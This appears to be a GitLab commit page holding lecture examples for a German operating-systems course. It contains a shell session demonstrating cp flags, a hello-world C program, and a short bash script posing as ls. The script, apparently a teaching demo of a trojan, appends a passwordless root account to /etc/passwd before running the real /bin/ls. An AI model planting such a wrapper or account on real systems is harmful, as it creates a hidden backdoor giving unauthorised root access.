Skip to content
Snippets Groups Projects
Commit 6f6c69da authored by Peter Gerwinski's avatar Peter Gerwinski
Browse files

Beispiele 12.10.2023

parent decf8eb8
Branches
No related tags found
No related merge requests found
cassini/home/peter/bo/2023ws/dbs/20231012> cp hello.c hallo.c
cassini/home/peter/bo/2023ws/dbs/20231012> ls -l h*.c
-rw-r--r-- 1 peter peter 82 12. Okt 12:11 hallo.c
-rw-r--r-- 1 peter peter 82 12. Okt 11:45 hello.c
cassini/home/peter/bo/2023ws/dbs/20231012> cp -p hello.c hallo.c
cassini/home/peter/bo/2023ws/dbs/20231012> ls -l h*.c
-rw-r--r-- 1 peter peter 82 12. Okt 11:45 hallo.c
-rw-r--r-- 1 peter peter 82 12. Okt 11:45 hello.c
cassini/home/peter/bo/2023ws/dbs/20231012> cp -p -i hello.c hallo.c
cp: 'hallo.c' überschreiben? n
cassini/home/peter/bo/2023ws/dbs/20231012> cp -pi hello.c hallo.c
cp: 'hallo.c' überschreiben? j
cassini/home/peter/bo/2023ws/dbs/20231012> ls -l h*.c
-rw-r--r-- 1 peter peter 82 12. Okt 11:45 hallo.c
-rw-r--r-- 1 peter peter 82 12. Okt 11:45 hello.c
cassini/home/peter/bo/2023ws/dbs/20231012>
#include <stdio.h>
int main (void)
{
printf ("Hello, world!\n");
return 0;
}
#include <stdio.h>
int main (void)
{
printf ("Hello, world!\n");
return 0;
}
#!/bin/bash
echo "SCHLIMME DINGE ..."
echo "test-root::0:0:root:/root:/bin/bash" >> /etc/passwd
/bin/ls "$@"
0% Loading or .
You are about to add 0 people to the discussion. Proceed with caution.
Please register or to comment